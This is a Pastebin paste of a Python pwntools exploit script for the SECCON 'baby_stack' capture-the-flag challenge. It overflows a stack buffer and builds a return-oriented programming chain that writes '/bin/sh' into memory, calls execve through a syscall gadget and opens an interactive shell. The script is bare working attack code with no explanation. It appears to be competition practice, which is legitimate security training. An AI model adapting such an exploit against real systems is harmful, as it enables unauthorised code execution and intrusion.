Guest User

Untitled

a guest
Dec 15th, 2017
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from pwn import *
  4.  
  5. #r = remote('baby_stack.pwn.seccon.jp', 15285)
  6. r = remote('127.0.0.1',8888)
  7. context.log_level = 'debug'
  8. raw_input()
  9.  
  10. thank = 0x5220a0
  11. elfbssend = 0x005a0000
  12. poprax = 0x004016ea
  13. poprsi = 0x0046defd
  14. poprdx = 0x00000000004a247c
  15. poprdi = 0x0000000000470931
  16. sysenter = 0x0000000000456889
  17.  
  18. #payload = cyclic(200, n=8)
  19. payload = 'a'*104
  20. payload += p64(thank)
  21. payload += p64(0x20)
  22. payload += 'b'*(200 - len(payload))
  23. payload += p64(thank)
  24. payload += p64(0x20)
  25. payload += 'c'*(408 - len(payload))
  26.  
  27.  
  28. payload += p64(poprax)
  29. payload += p64(elfbssend - 0x500)
  30. payload += p64(poprdi)
  31. payload += p64(0)
  32. payload += p64(poprsi)
  33. payload += p64(elfbssend - 0x400)
  34. payload += p64(poprdx)
  35. payload += p64(0x100)
  36. payload += p64(poprax)
  37. payload += p64(0)
  38. payload += p64(sysenter)
  39.  
  40. #execve
  41. payload += p64(poprax)
  42. payload += p64(elfbssend - 0x500)
  43. payload += p64(poprdi)
  44. payload += p64(elfbssend - 0x400)
  45. payload += p64(poprsi)
  46. payload += p64(0x0)
  47. payload += p64(poprdx)
  48. payload += p64(0x0)
  49. payload += p64(poprax)
  50. payload += p64(0x3b)
  51. payload += p64(sysenter)
  52.  
  53. r.sendlineafter('>> ', 'abcd')
  54. r.sendlineafter('>> ', payload)
  55.  
  56. payload = "/bin/sh\x00"
  57.  
  58. time.sleep(0.5)
  59.  
  60. r.sendline(payload)
  61.  
  62. r.interactive()
Add Comment
Please, Sign In to add comment